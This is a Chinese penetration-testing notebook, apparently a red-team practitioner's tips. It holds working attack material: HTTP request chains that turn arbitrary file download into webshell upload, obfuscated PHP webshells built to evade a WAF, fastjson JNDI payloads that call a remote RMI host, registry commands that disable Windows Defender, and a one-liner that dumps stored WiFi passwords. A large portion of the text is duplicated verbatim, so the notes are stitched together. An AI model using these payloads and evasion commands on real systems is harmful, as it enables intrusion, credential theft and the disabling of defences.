使用proxychains代理远程登录windows
```
proxychains rdesktop -g 1440x900 172.17.17.7:3389 //-g后面代表要使用的分辨率
```

### 内网渗透-代理(ssocks反向代理)
```
https://sourceforge.net/projects/ssocks/
```
参考:
https://apt404.github.io/2016/09/12/ssocks/

### Druid未授权访问->RCE
- 目录扫描  /druid/index.html
- 信息泄露  Session & URI(后台)
- 伪造session进入后台,发现上传点
```
POST /index HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin:
Referer:
Cookie: JSESSIONID=589A43F0FAxxxxxx2A4403C143A77A51
```
- 绕过前端js验证实现任意文件上传
### 任意文件下载->RCE
- 发现1处文件下载的地方
```
GET /download?module=&method=Download&name=test.zip&filepath=doc/test.zip HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
```
- burp抓包,换为post请求发现可下载任意文件
```
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../webapps/WEB-INF/web.xml
```
- 读取日志文件判断class文件的位置
```
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../logs/catalina.2021-xx-xx.log
```
- 下载class文件分析审计,在/download路由下的servlet存在上传文件和更新文件的操作
  - 首先上传一个空文件到web目录
  ```
  POST /download HTTP/1.1
  Host: 1.1.1.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Accept: text/html,application/xhtml+xml,application/xml
  Accept-Encoding: gzip, deflate

  module=&method=upload&txtFile_Name=x.jsp&home=/&filepath=../webapps/
  ```

  - 更新文件内容为webshell
  ```
  POST /download HTTP/1.1
  Host: 1.1.1.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Accept: text/html,application/xhtml+xml,application/xml
  Accept-Encoding: gzip, deflate

  module=&method=updateContent&home=/&filepath=../webapps/x.jsp&content=xxxxxx
  ```
- 成功突破网络边界进入内网

### pocsuite3代理食用
命令行:
```shell
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks5://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks4://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy http://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy https://1.2.3.4:5678
```
proxier:

![image]()

### 子域名爆破-泛解析问题
0.泛解析
```shell
原理:
利用通配符(*)将所有某个级别的域名解析到同一个IP地址上。

举例:
现有域名github.com, 设置泛解析后,所有该域名下的子域aaa.github.com,bbb.aaa.github.com都会被解析到和github.com相同的ip地址。
```
1.OneForAll:
```shell
访问一个随机的并不存在的域,通过返回结果判断是否存在泛解析,若存在泛解析,程序会不断的循环产生随机域名向服务器查询,将每次查询到的IP和TTL记录下来,直到大部分的IP地址出现次数都大于两次,则IP黑名单的收集结束,在得到了IP黑名单以后,将自己的字典中的每一项和要指定查询的域名进行拼接爆破,然后根据IP黑名单进行过滤。
```
2.SubdomainBrute

```shell
超过10个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃。
```
3.目前思路-TTL黑名单
```shell
在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录。
```
参考:http://sh3ll.me/

### SQL注入攻击面

- 万能密码
- 敏感信息  `邮箱/电话等 -> 供社工钓鱼使用`
- 凭证  `session/密码等 -> 外网系统入口(OA/邮箱/VPN)`
- RCE
  - mssql xp_cmdshell
  - mysql udf
- Webshell
  - mysql
  - mssql
  - oracle
- SSRF
  - mssql
  - oracle
- 端口扫描
  - oracle
- 凭据(NTLM Hash)
  - Windows & UNC

### 文件删除攻击面

- 删除install.lock导致重装,进而RCE
  -  /sys/install.lock VAuditDemo
- 删除某些配置文件导致重装,进而RCE
  -  my.php 然之协同
- 删除权限校验文件,组合受限漏洞(文件上传/SQLi注入等),进而RCE
  -  /inc/auth.inc.php 通达OA
- 删除账号密码配置文件,导致账号密码重新配置,进而获得管理员权限
  -  /WEB-INF/resources/privilege.xml 帆软报表系统(FineReport)
### Java SSRF攻击面

- 利用file协议任意文件读取
- 利用http协议端口/服务探测
- 利用http协议进行 ntlm relay
- 组合redis等内网服务从而rce(weblogic)

### 黑盒-漏洞挖掘(弱口令->任意文件下载->RCE)
- Tip: `fofa随缘,独立ip 1000+即可`
![image]()

**step1**
- 搜索产品的安装手册/用户手册(弱口令,影子账户等)
- 发现通用弱口令-admin/admin
  ![image]()

**step2**
- 登录后台并测试功能点,burp抓取流量
- 发现参数:?xmlPath=
  - 构造payload
  ```
  .action?xmlPath=../../conf/tomcat-users.xml
  .action?xmlPath=../../webapps/examples/WEB-INF/web.xml
  ```
- 经测试存在任意文件读取漏洞
  ![image]()

**step3**
- 回溯burp的代理流量
- cookie发现参数:rememberMe
- 尝试组合任意文件读取进行漏洞利用
  - web.xml -> shiro.ini(失败)
  - tomcat-users.xml -> 控制台利用思路(失败)
- 最后还是作为脚本小子的快乐
  ![image]()

  
### ThinkPHP 5.0.X(Debug模式+空数组)
- 若目标启用了 debug 模式,敏感功能点传递空数组可能会引起程序抛出异常泄露敏感信息 by xxxeyJ
```http
POST /index/login HTTP/1.1
User-Agent:
Accept:
Accept-Encoding:
Content-Type:

username=admin&password[]=&verifycode=
```
### 内网-CMD获取RDP端口
Terminal下执行
> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

响应
> PortNumber    REG_DWORD    0xd3d

![image]()

进制转换得到

![image]()

### 内网-规避杀软 Windows Defender
```shell
# Defensive Evasion
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg.exe     delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
```
### 打点-文件下载/信息收集 mlocate.db

   mlocate.db是linux下的一个数据库文件,用于存放locate命令的索引,也就是相当于存放了所有文件的路径。

文件位置
> /var/lib/mlocate/mlocate.db

与之对应的命令 — locate

在拿到目标权限后做信息收集还是蛮不错的

```shell
locate web.xml
```
![image]()

### 内网-CMD获取WIFI密码
— by chengmo
```
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
```
![11111]()

### 内网-DMZ区突破
`本质:找到能通向内网的主机`

- 双网卡主机
- 历史登录IP:可能来自内网的运维
- 站库分离:数据库服务器很可能在内网
  - https://github.com/blackarrowsec/mssqlproxy
- VPN:信息收集
- 钓鱼:钓鱼上线的机子大概率是在办公网)

### 内网-PowerShell命令历史记录
`— 类似Linux下的.bash_history`

文件位置
>  %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

![image]()


利用思路
- 打点: 任意文件下载+Windows系统,可以尝试一下该路径,也许有新世界
- 内网: 信息收集
- 蓝队: 溯源取证时,毕竟CMD一直以来都被诟病,PowerShell改改颜值还是很能打的,但是也就悄悄地给蓝队留下了"证据"(:

![image]()

### 内网-定位多网卡主机(OXID Resolver)

工具
- https://github.com/Rvn0xsy/OXID-Find/

条件
- 目标主机: 开放135端口

后续
- 考虑到平台兼容性,可以根据OXID-Find用其他语言重构一版自用。

### 内网-主机"不出网"
~~本地环境搭建中~~

### 内网-跨域
~~本地环境搭建中~~

### 打点-Confluence RCE利用

近期的1次实战

0. Confluence RCE(CVE-2021-26084),写入webshell,获取服务器权限
1. 找到数据库配置文件,获取数据库权限
2. 前期信息收集发现WIKI、Jira等站点需要AD账号登录,猜测其数据库有LDAP信息
3. 在cwd_directory_attribute表找到LDAP配置信息,拿到密码
4. 通过该密码获取源码管理平台(Gitlab)的控制权

### 打点-文件下载-.net环境

#### 0x01 前言

这是对学校某网站随机测试发现的,当时可下载web.config,由于不熟悉.net就没有后续了。

前段时间隔壁班的大佬提示说: 可以尝试下载源码审计一波????

#### 0x02 流程回顾

在xx通知页面发现一处文件下载的功能点
- /tp/DownLoadFile.aspx?filename=

![image]()

于是开始猜其目录
```
?filename=DownLoadFile.aspx
?filename=./DownLoadFile.aspx
?filename=./../DownLoadFile.aspx
......
```
最后以
- ?filename=./../DownLoadFile.aspx

成功下载

![image]()

#### 0x03 利用思路

1.下载web.config,获取数据库配置以及部分网站架构

![image]()

如图,可获取到数据库密码

2.遍历下载*.aspx,然后根据Inherits所引用文件的位置,构造路径下载*.dll,然后dnSpy反编译后审计即可

示例:文件下载漏洞

![image]()



### 内网-vSphere & vCenter的后利用姿势
— 历史笔记整理

> 关于vcenter的利用主要是在已经获取服务器权限的情况下

(登录后台)

- 从 vCenter 备份中提取 IdP 证书并伪造管理员身份登录后台(实战案例)
- 工具地址
    - [vcenter_saml_login](https://github.com/horizon3ai/vcenter_saml_login)

data.mdb位置:

- Linux:
   
    ```
    /storage/db/vmware-vmdir/data.mdb
    ```
   
- Windows
   
    ```
    C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
    ```
   

实测效果

![image]()

然后访问https://10.10.10.1/ui,在 /ui 路径下替换上一步所获得的cookie即可

![image]()


进入后台后
  - 可通过vcenter的快照功能获取虚拟机的快照,然后通过内存取证的姿势dump凭证,pth;
  - 也可传到本地,再恢复成虚拟机,然后通过PE,重命名CMD.EXE为OSK.exe覆盖原OSK.exe,此时开机打开屏幕键盘会弹出SYSTEM权限的命令行窗口,本地上线cs然后hashdump抓取凭证,pth即可。(by banliz1)

### 钓鱼-邮箱探针

```
# by se7ensec.cn
平常去河边钓鱼,要使用浮漂才会知道这条河是否有鱼吃饵料,同理当邮件投递出去后,此探针可以判断目标是否点击了邮件,不至于那么的苦等。
```
- [鱼叉攻击|Mail-Probe 邮箱探针后台管理系统](https://www.se7ensec.cn/2020/09/ ... %E7%B3%BB%E7%BB%9F/)

### 内网-Citrix的后渗透思路
```
Citrix虚拟化应用常常与AD域绑定,如果被登录,将会对整个域安全造成非常重大的风险。
```
- [浅谈关于企业中citrix的渗透思路](https://mp.weixin.qq.com/s/wUv3DIN4woXMZmYOCG2MGg)

### 打点-Confluence后利用思路
- 修改数据库,实现用户登录
  - 修改用户登录口令
  - 修改Personal Access Tokens(by 3gstudent)
- 写文件
  - Windows: Confluence默认权限为network service,具有写权限
  - Linux: Confluence默认权限为confluence,没有写权限,可以尝试内存马

测试CVE-2021-26084:
- Windows Server 2016
- Atlassian Confluence 7.4.10
- Postgresql 12.8-1
- AntSword

目录:

![image]()

![image]()

- 数据库配置-confluence.cfg.xml
```
# Windows默认安装
C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml
# Ubuntu默认安装
/var/atlassian/application-data/confluence/confluence.cfg.xml
```
![image]()

### 基建-关于学习RFC规范的必要性
> 最近的一次小组例会上有幸收到了来自leader的leader的建议 —— 多看看RFC文档、技术基建要做好。(缘起log4shell)

```shell
For better or worse, Requests for Comments (RFCs) are how we specify many protocols on the Internet.
```

RFC规范实际使用场景示例:
- [从RFC规范看如何绕过waf上传表单 上篇](https://www.anquanke.com/post/id/241265)
- [从RFC规范看如何绕过waf上传表单 下篇](https://www.anquanke.com/post/id/242583)
- [利用 URN 绕过 URL 检查](https://mp.weixin.qq.com/s/SysCJTcYRpV6dj9QfeQYmQ)
- [利用 multipart boundary 绕过 WAF](https://mp.weixin.qq.com/s/Wsl17GjucN08YAiwbm0vYQ)
- [An Exploration of JSON Interoperability Vulnerabilities](https://bishopfox.com/blog/json-interoperability-vulnerabilities)

学习参考:
- [How to Read an RFC(中文译版)](https://juejin.cn/post/6844903716051484679)
- [How to Read an RFC](https://www.mnot.net/blog/2018/07/31/read_rfc)

### 基建-负载均衡场景下的渗透
- Why?
>
> 相信能看到这些笔记的师傅可能都曾遇到过负载均衡场景下的渗透问题,比如你通过nday打下了一台weblogic,并上了webshell,当你对目标机子再次发起请求时,你会发现执行命令出错,也许会猜测是因为网络问》题;于是你再用exp打了一次,成功了,此时的ip可能发生了变化;失败了,漏洞不存在了?在这些问题的背后,很有可能就是`负载均衡`在作祟。再加上微服务架构和K8S的兴起,负载均衡的应用也越来越多,这是个不得不学习 & 解决的坑。


- What?

> \# 通俗理解:
> 一个超市的收营员高峰期只能服务10位顾客,当做活动时有20位顾客需要服务的话可能就会排长队,这样购物体验将会很差(就像客户抱怨系统/网站访问太慢)。最简单的办法就是再招个营业员,重新开通一个出口。负载均衡的核心就是“分摊压力”。


- How?
  - [渗透测试-负载均衡识别](https://blog.csdn.net/Z_Grant/article/details/99636169)
  - [负载均衡踩坑记](https://xz.aliyun.com/t/10297)
  - [负载均衡下的 WebShell 连接](https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA)
  - [内网渗透-FRP负载均衡](https://scarletf.github.io/2021/ ... %E5%9D%87%E8%A1%A1/)
  - [proxyshell 针对Exchange负载均衡情况下的修改版POC](https://www.t00ls.cc/articles-64010.html)
  - [Neo-reGeorg-(非 php) 已支持内网转发,应对负载均衡环境](https://github.com/L-codes/Neo-reGeorg#features)
  - [挖洞经验 | 从负载均衡或CDN应用中发现的配置类漏洞](https://www.freebuf.com/vuls/227805.html)

### 云安全-K8S场景下的渗透
- [Kubernetes安全测试实践录](https://tttang.com/archive/1389/)
- [Kubernetes(K8s)横向移动办法](https://payloads.online/archivers/2021-07-20/1/)
- [Kubernetes安全入门](https://xz.aliyun.com/t/4276)
- [Kubernetes集群渗透测试](https://www.freebuf.com/vuls/196993.html)
- [K8s渗透测试之kube-apiserver利用](https://www.cdxy.me/?p=839)
- [K0OTKIT:HACK K8S IN A K8S WAY](http://blog.nsfocus.net/k0otkithack-k8s-in-a-k8s-way/)
- [华为云CTF cloud非预期解之k8s渗透实战](https://annevi.cn/2020/12/21/%E5 ... %E5%AE%9E%E6%88%98/)
- [容器安全 & 容器渗透学习笔记](https://lfysec.top/2021/07/13/%E ... %E7%AC%94%E8%AE%B0/)
- [云原生安全|基于容器ATT&CK矩阵模拟攻防对抗的思考](https://www.secpulse.com/archives/168616.html)
- [学习K8S中常见的21种攻击方式](https://www.wangan.com/p/7fygf39b3e601183)
- [红蓝对抗中的云原生漏洞挖掘及利用实录](https://security.tencent.com/index.php/blog/msg/183)

### 信息收集-FoFa获取闭源软件源码
> 其他测绘引擎同理
示例:
```
body="web.config" && "oa" && "rar" && country="CN"
body="web.config" && "U8" && country="CN"
body="web.config" && "EAS" && country="CN"
body="web.config" && "k3s" && country="CN"
body="web.config" && "kingdee" && country="CN"
body="web.config" && "系统" && country="CN"
body="web.config" && "办公" && country="CN"
body="web.config" && "EKP" && country="CN"
...
```
效果: 某OA全家桶?

![image]()

step3: 以IP+域名的形式进行碰撞


传送:
```
https://github.com/fofapro/Hosts_scan
https://github.com/shmilylty/OneForAll  
https://fofa.so/
https://site.ip138.com/
https://ipchaxun.com/
https://securitytrails.com/list/apex_domain/  # 子域名
```
参考:
```
https://www.cnblogs.com/Rain99-/p/13756032.html
https://xz.aliyun.com/t/9590
```
`复现:`

**环境搭建**

实验环境
```shell
# 安装nginx
apt install nginx
# 创建nginx配置文件
/usr/sbin/nginx -t
# 配置文件位置
/etc/nginx/nginx.conf
```

实战环境(模拟)

- 反代
- 限制IP访问

文件nginx.conf配置如下

```
http {
        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        # include /etc/nginx/sites-enabled/*;
        # 限制IP访问
        server {
                listen 80 default;
                server_name _;
                return 403;
                }
        server {
                listen       80;
                server_name  nginx.lab.com;
                location / {
                    proxy_pass http://10.10.10.12:8000;
                    index  index.html index.htm index.jsp;
                }
            }
}
```

**复现效果**

如下图所示

- IP访问
![image]()

- 域名访问

Windows

> \# 修改 hosts
>
> notepad %windir%\system32\drivers\etc\hosts
>
> \# 添加以下绑定关系
>
> 10.10.10.12 nginx.lab.com

![image]()

使用Burpsuite复现

![image]()

### "登录框" 攻击面
- 用户名枚举
- 空口令
- 弱口令
- 登录认证绕过
- 暴力破解
- 图形验证码绕过
- 短信验证码绕过(或爆破)
- 短信轰炸(重放)
- 邮箱轰炸(重放)
- 密码明文传输
- SQL注入(万能密码)
- 任意用户密码重置
- 目录遍历
- 敏感信息泄露
- 框架漏洞(shiro)
- XSS
- JS文件

### 宝塔防火墙 Bypass
- 传参方式 $_COOKIE
- 编码绕过流量检测

*3重 base64 失败*(似乎检测了关键字‘base64’)
![image]()

*3重 url编码 成功*

![image]()

贴两个????(`侵删`)

demo1:
```php
<?php
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p())p;
?>
```
demo2:
```php
<?php
$poc ="axsxsxexrxt";
$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
$poc_2(urldecode(urldecode(urldecode($_REQUEST[x]))));
?>
```

### fastjson bypass 某WAF
demo
```
{{"@type":"java.net.URL","val":"http://.dnslog.cn"}:0
```
![image]()

bypass
```
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
```
### 内网渗透-代理(reGeorg+Proxifier+Win)

```
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
```
上传对应的tunnel文件,如图即可

![image]()

然后attack-pc 执行
```python
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 8888
```
proxifier配置代理如下
- 127.0.0.1:8888
- socks5

### 内网渗透-代理(reGeorg+proxychains+Linux)
```
# reGeorg
https://github.com/sensepost/reGeorg
# Proxifier
https://pc.qq.com/detail/13/detail_10593.html
```
上传对应的tunnel文件,如图即可

![image]()

然后attack-pc 执行
```python
python2 reGeorgSocksProxy.py -u http://192.168.10.211/tunnel.nosocket.php -p 4561
```
proxychains配置如下:
- vim /etc/proxychains.conf

![image]()

demo:
使用proxychains代理远程登录windows
```
proxychains rdesktop -g 1440x900 172.17.17.7:3389 //-g后面代表要使用的分辨率
```

### 内网渗透-代理(ssocks反向代理)
```
https://sourceforge.net/projects/ssocks/
```
参考:
https://apt404.github.io/2016/09/12/ssocks/

### Druid未授权访问->RCE
- 目录扫描  /druid/index.html
- 信息泄露  Session & URI(后台)
- 伪造session进入后台,发现上传点
```
POST /index HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin:
Referer:
Cookie: JSESSIONID=589A43F0FAxxxxxx2A4403C143A77A51
```
- 绕过前端js验证实现任意文件上传
### 任意文件下载->RCE
- 发现1处文件下载的地方
```
GET /download?module=&method=Download&name=test.zip&filepath=doc/test.zip HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
```
- burp抓包,换为post请求发现可下载任意文件
```
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../webapps/WEB-INF/web.xml
```
- 读取日志文件判断class文件的位置
```
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../logs/catalina.2021-xx-xx.log
```
- 下载class文件分析审计,在/download路由下的servlet存在上传文件和更新文件的操作
  - 首先上传一个空文件到web目录
  ```
  POST /download HTTP/1.1
  Host: 1.1.1.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Accept: text/html,application/xhtml+xml,application/xml
  Accept-Encoding: gzip, deflate

  module=&method=upload&txtFile_Name=x.jsp&home=/&filepath=../webapps/
  ```

  - 更新文件内容为webshell
  ```
  POST /download HTTP/1.1
  Host: 1.1.1.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Accept: text/html,application/xhtml+xml,application/xml
  Accept-Encoding: gzip, deflate

  module=&method=updateContent&home=/&filepath=../webapps/x.jsp&content=xxxxxx
  ```
- 成功突破网络边界进入内网

### pocsuite3代理食用
命令行:
```shell
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks5://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks4://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy http://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy https://1.2.3.4:5678
```
proxier:

![image]()

### 子域名爆破-泛解析问题
0.泛解析
```shell
原理:
利用通配符(*)将所有某个级别的域名解析到同一个IP地址上。

举例:
现有域名github.com, 设置泛解析后,所有该域名下的子域aaa.github.com,bbb.aaa.github.com都会被解析到和github.com相同的ip地址。
```
1.OneForAll:
```shell
访问一个随机的并不存在的域,通过返回结果判断是否存在泛解析,若存在泛解析,程序会不断的循环产生随机域名向服务器查询,将每次查询到的IP和TTL记录下来,直到大部分的IP地址出现次数都大于两次,则IP黑名单的收集结束,在得到了IP黑名单以后,将自己的字典中的每一项和要指定查询的域名进行拼接爆破,然后根据IP黑名单进行过滤。
```
2.SubdomainBrute

```shell
超过10个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃。
```
3.目前思路-TTL黑名单
```shell
在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录。
```
参考:http://sh3ll.me/

### SQL注入攻击面

- 万能密码
- 敏感信息  `邮箱/电话等 -> 供社工钓鱼使用`
- 凭证  `session/密码等 -> 外网系统入口(OA/邮箱/VPN)`
- RCE
  - mssql xp_cmdshell
  - mysql udf
- Webshell
  - mysql
  - mssql
  - oracle
- SSRF
  - mssql
  - oracle
- 端口扫描
  - oracle
- 凭据(NTLM Hash)
  - Windows & UNC

### 文件删除攻击面

- 删除install.lock导致重装,进而RCE
  -  /sys/install.lock VAuditDemo
- 删除某些配置文件导致重装,进而RCE
  -  my.php 然之协同
- 删除权限校验文件,组合受限漏洞(文件上传/SQLi注入等),进而RCE
  -  /inc/auth.inc.php 通达OA
- 删除账号密码配置文件,导致账号密码重新配置,进而获得管理员权限
  -  /WEB-INF/resources/privilege.xml 帆软报表系统(FineReport)
### Java SSRF攻击面

- 利用file协议任意文件读取
- 利用http协议端口/服务探测
- 利用http协议进行 ntlm relay
- 组合redis等内网服务从而rce(weblogic)

### 黑盒-漏洞挖掘(弱口令->任意文件下载->RCE)
- Tip: `fofa随缘,独立ip 1000+即可`
![image]()

**step1**
- 搜索产品的安装手册/用户手册(弱口令,影子账户等)
- 发现通用弱口令-admin/admin
  ![image]()

**step2**
- 登录后台并测试功能点,burp抓取流量
- 发现参数:?xmlPath=
  - 构造payload
  ```
  .action?xmlPath=../../conf/tomcat-users.xml
  .action?xmlPath=../../webapps/examples/WEB-INF/web.xml
  ```
- 经测试存在任意文件读取漏洞
  ![image]()

**step3**
- 回溯burp的代理流量
- cookie发现参数:rememberMe
- 尝试组合任意文件读取进行漏洞利用
  - web.xml -> shiro.ini(失败)
  - tomcat-users.xml -> 控制台利用思路(失败)
- 最后还是作为脚本小子的快乐
  ![image]()

  
### ThinkPHP 5.0.X(Debug模式+空数组)
- 若目标启用了 debug 模式,敏感功能点传递空数组可能会引起程序抛出异常泄露敏感信息 by xxxeyJ
```http
POST /index/login HTTP/1.1
User-Agent:
Accept:
Accept-Encoding:
Content-Type:

username=admin&password[]=&verifycode=
```
### 内网-CMD获取RDP端口
Terminal下执行
> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

响应
> PortNumber    REG_DWORD    0xd3d

![image]()

进制转换得到

![image]()

### 内网-规避杀软 Windows Defender
```shell
# Defensive Evasion
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg.exe     delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
```
### 打点-文件下载/信息收集 mlocate.db

   mlocate.db是linux下的一个数据库文件,用于存放locate命令的索引,也就是相当于存放了所有文件的路径。

文件位置
> /var/lib/mlocate/mlocate.db

与之对应的命令 — locate

在拿到目标权限后做信息收集还是蛮不错的

```shell
locate web.xml
```
![image]()

### 内网-CMD获取WIFI密码
— by chengmo
```
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
```
![11111]()

### 内网-DMZ区突破
`本质:找到能通向内网的主机`

- 双网卡主机
- 历史登录IP:可能来自内网的运维
- 站库分离:数据库服务器很可能在内网
  - https://github.com/blackarrowsec/mssqlproxy
- VPN:信息收集
- 钓鱼:钓鱼上线的机子大概率是在办公网)

### 内网-PowerShell命令历史记录
`— 类似Linux下的.bash_history`

文件位置
>  %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

![image]()


利用思路
